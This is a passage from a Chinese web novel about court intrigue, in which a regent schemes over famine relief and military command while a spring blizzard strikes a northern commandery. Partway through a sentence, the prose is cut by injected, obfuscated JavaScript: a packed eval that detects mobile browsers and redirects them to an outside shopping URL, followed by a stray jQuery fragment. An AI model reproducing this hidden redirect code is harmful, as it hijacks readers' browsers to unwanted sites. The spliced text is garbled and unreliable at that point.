独孤迦罗闻言身子一僵，却仍是倔强地站立不动。


    “你懂什么是‘紧要’？”独孤慎语气森然，缓缓起身，袍袖翻动间透出压迫之感，步步逼近自己的儿子。


    “难道你真以为，我拨银赈灾，是为了救济百姓，做千古留名的圣人？”


    独孤迦罗闻言心头微震，额间渗出些许冷汗，但仍是不解地问道：“孩儿愚钝……”


    摄政王冷笑一声，抬手拍了拍儿子的肩，语气缓和下来，带着几分意味深长。


    “如今保皇派和革新派在朝堂上斗争的如火如荼，两方阵营势均力敌，棋差一着都可能万劫不复，沧澜郡天灾简直是上天赐给本王的机遇！区区二十万两银子，若能收买民心，还有千万百姓的口碑，简直是稳赚不赔的买卖！”


    独孤迦罗怔住。


    独孤慎目光幽深，轻哼一声，“真是可笑，二皇子皇甫云州当了月余的主政皇子便得意忘形，不顾薛景珩和韩硕的多次规劝，逐渐原形毕露，开始纵情享乐。今夜他先是是为了赏玩进献的胡人舞姬，搁置沧澜郡紧急灾情，随后又被宫中文帝清醒的事情绊住了脚，惊骇的手足无措。此时，我们趁着保皇派群龙无首之际，率先出手抢夺赈灾的功劳，日后便可好好做文章，大大参上他一本，斥责其身为皇子品行无状无德。”


    独孤迦罗深吸一口气，躬身道：“父王，深谋远虑，孩儿望尘莫及！”


    摄政王负手而立，目光望向宫墙方向，冷笑道，“皇甫云州构陷前太子的事情，当真以为本王毫不知情吗？本王不过是坐山观虎斗，尽享渔翁之利罢了。”


    独孤迦罗闻言展眉一笑道，“父王放心，这二十万两银子，我会亲自交给各处赈灾官员，也能借此让他们知恩，日后再有所求，岂能推辞？”


    摄政王微微颔首，语气淡然：“熙熙攘攘皆为利来，青天白日下没有新鲜事。”


    “另外，苏怀堂返京述职是奉了我的命令。你莫要主动与他相争！”


    瞧见独孤迦罗眼中的恨色，他无奈叹了口气，“朝局上二皇子还是个乳臭未干的毛头小子，跟文帝相比不值一提，然而唯独在兵权上，我却逊他几分。”


    皇甫云州并非一无是处，他在南境磨砺十年也立下大大小小战功，麾下有一批悍将，又有韩家军韩硕誓死追随，南境大军莫不对他俯首帖耳。


    亲信薛景珩又亲掌禁军大权，统御皇城护卫。


    而革新派手下的军将，论年纪大多年迈，论战力竟无一人能与韩家军和薛景珩抗衡。


    如今朝局未稳，若战事骤起，独孤慎手中竟难寻一员可堪大用的猛将。


    摄政王目光一沉，缓缓道：“本王麾下，真正可用的军将，只有苏怀堂一人，他虽年少但是颇有天赋，北辰卫经过他的手，战力提升迅猛。”


    至于其他人……


    老将韩永非，年近六旬，经验虽足，已不堪久战。


    赵怀正，虽是武勋世家出身，但空有其名，难堪大用。


    吴廷安，贪功冒进，多次误判战局，若非念在他父亲忠心耿耿，跟随多年，早已被革职查办。


    而其余人，或贪婪懦弱，或庸庸无为，根本不配称为将才。


    “二皇子的兵权已成气候，若本王再不能提拔可用之将，日后若有变局，我将如何制衡？”


    摄政王的声音低沉而冷厉，“朝堂权谋，我尚能操控，可战场之上，唯有刀枪见真章。”


    他眼中闪过一抹决绝，沉声道：“此次北地赈灾，本王也属意苏怀堂主理。”


    “可是……”独孤迦罗不死心，还欲辩驳，却被独孤慎狠狠一巴掌震在原地，“父王？”


    此刻的独孤伽罗低着头，嘴唇紧抿，神色局促，但眼底却隐隐透着一丝倔强。


    摄政王倏地站起身来，冷冷盯着他，眼底满是恨铁不成钢的怒意，字字如刀，“子不类父！本王这些年如何谋划、如何布局，你倒好，一点皮毛都没学到，有时候我真恨不得苏怀堂是我的亲生儿子才好！”


    “你莫要以为从前暗杀苏怀堂的蠢事我不知道！只不过苏怀堂能忍，事情既然没有翻到明面上就罢了！”


    摄政王眼中寒光闪动，冷冷道：“你若再有这等蠢行，本王便不再指望你，废了你的世子之位，换个人来继承！”


    此言一出，独孤迦罗猛然一震，眼底倔强之色瞬间散去，只剩下惊惧与羞愧。


    他噗通跪下，低头沉声道：“儿子不成器，害得父亲失望，我知罪。”


    独孤迦罗顿了顿，语气变得低哑，“但……儿子今日所做，不过是想为自己出口气……不想母亲在天之灵失望而已……请父王教我……如何行事。”


    摄政王强压着怒火凝视着他，许久，方才冷冷一哼，缓缓坐回高背椅上，摩挲着半旧不新的乌木镶金指环，若有所思。


    终是缓缓叹了口气，“百忍成钢，要出手非得一击而中才行。”


    独孤伽罗叩首，唇角露出一丝微弱的笑，“儿臣知晓了，多谢父王教诲。”


    ——


    北地沧澜郡，天色阴沉，乌云如墨，厚重地压在苍穹之上，让人透不过气来。


    “朝廷拨的赈灾款和粮食还没来吗？不应该呀！”沧澜郡守眉头锁成一个“川”字，他裹紧了狐裘大氅，却仍觉得天气的寒意浸入骨髓，焦急不安地在府衙院内来回踱步。


    四月初春的风本该携着微暖的湿意，带来泥土复苏的气息，可在沧澜郡，天地之间卷来一股诡异的风霜严寒，像是春天迷失了方向，凛冬又卷土重来。


    “算算日子，本官的奏章早就该送到临安了呀！”


    郡守偶尔顿住脚步，脖颈伸得老长，猛地抬头望向府衙的院门，可每一次，门外回应他的只有一片死寂。


    期待落空后，他旋即以更快的频率重新开始踱步。


    郡守口中焦躁不安地喃喃自语，“二皇子怎么还不快示下，这雪灾该如何处置呀？！”


    幕僚张云怀上前劝慰道，“郡守喝口茶歇歇吧，您放心，送奏章的驿使知晓事情重大，一路上快马加鞭，片刻也不敢耽误。说不定赈灾的旨意已经在路上了！”


    他裹着一件浆洗发白的旧棉袍，肘部已磨得泛亮，虽厚实却不蓬松。手中恭恭敬敬端着茶盏，谦卑地递给郡守。


    郡守闻言略略定了定心神，接过茶水饮下半口，随即哀叹一声，“这百年不遇的天灾，怎么偏偏落在我在任的时候！真是流年不利……早知今日，当初何必官迷心窍，去淌二皇子门下买官的浑水！”


    张云怀嘴角牵起一丝微不可察的讥诮，眸色中闪过鄙夷与不屑，旋即却又眼皮低垂，化作眼中更深沉的悲凉。


    就在几日前，沧澜郡河边的柳树已然抽出嫩黄的芽，田间的麦苗也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145089|187169||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    探出了青翠的尖角，村中的孩子们脱去了厚重的棉衣，在泥地上嬉戏奔跑。


    可谁都未曾料到，天气竟变得如此古怪——昨日还是春风拂面，今日却是狂风大作，寒气刺骨。


    那场雪落得异常猛烈，不似寻常冬雪那般细腻轻盈，而是带着锋利的棱角，像是碎裂的寒冰，从天穹中狠狠砸下。


    短短半个时辰，山间已被厚厚的白雪覆盖，地里的幼苗被彻底吞没，枝头的嫩芽也被冻得蜷缩干枯，仿佛春天的生机被硬生生截断，重新拖回了凛冽的冬日。


    夜半时分，暴雪越发肆虐，狂风裹挟着冰冷的雪粒横扫村庄，屋檐下的冰凌再度凝结，窗纸被冻得脆裂，连炉火的热气都被寒风一丝丝抽走。


    到了第二日清晨，天地间已是一片死寂。


    村口的几头老牛直挺挺地倒在雪地里，西头的破屋里，村中最年迈的老妪已在沉沉夜色中离去，身上盖着的破旧棉被竟被冻得坚硬如铁。


    而远在深山里的村落，更是在雪崩之下被彻底抹去，只剩下白茫茫一片，仿佛从未存在过。


    大雪纷纷，人间尽白。


    寒风从勤政殿外灌入，吹得诸位朝臣的衣袂一阵翻卷，却无人敢动，只将头垂得更低。


    “北地三州大雪连降十余日，积雪封路，粮道阻绝，灾民冻饿交加，饿殍载道。”户部尚书李长清将奏折高举过顶，声音沉痛。


    大殿之内，众臣低语面色凝重。


    文帝清醒后不肯发一言，如今垂帘听政，也只是做做样子，哪怕忠直的沈氏太傅威胁要血溅当场，也依然浑浑噩噩不施舍一个眼色。


    朝堂之上，太子皇甫云睿被废黜，只得由二皇子皇甫云州代行太子权，对此文帝似乎也并无异议。


    皇甫云州金冠束发，面色哀痛，率先开口道：“此事关系百姓安危，赈灾之责刻不容缓，须择能者担之。”


    他顿了顿，端详着朝臣的脸色，“户部尚书李大人素来清廉持正，朝廷赈济银粮俱在户部管辖之下，此番灾情，本宫以为当由李大人总领赈灾事务，必能事半功倍。”


    殿内的老臣不乏赞同。


    户部掌财，灾赈银粮从户部调拨，若由李长清主持，无疑最为合适。


    更何况，李长清乃保皇派二皇子亲信，若赈灾得力，必能借此赢得朝野人心，在百姓中树立仁政之功，能抵过摄政王自筹钱粮赈灾的名声，搬回一局。


    摄政王独孤慎背靠太师椅，摩挲着指尖半旧不新的乌木镶金指环，未语。


    独孤慎看起来约莫四十有余，身姿如松虽未着甲，却有千军之势。他生得极为凌厉，双目深邃如寒潭，眼角微微下敛，目光所及之处，便令人心生敬畏。


    岁月未曾在他身上留下丝毫颓色，反而使他更显沉凝刚毅，额侧微微的浅纹，是权谋沉浮间积淀下的威仪。


    沉默片刻，独孤慎缓缓开口，语气似是漫不经心，“二皇子所言有理，然赈灾之事岂止钱粮？北地连日风雪，道路不通，盗匪四起，灾民为食自相残杀，局势动荡不安。若无镇守之兵，恐怕朝廷的粮草，尚未送达，便已为乱匪所劫。”


    他的目光缓缓扫过群臣，“臣以为，户部可掌银粮，而赈灾之事，须有军中骁将主持。北辰卫指挥使苏怀堂，治军有方，不久前刚回京述职，若由他率兵前往，不仅可护粮入境，亦能安抚灾民，维持秩序。”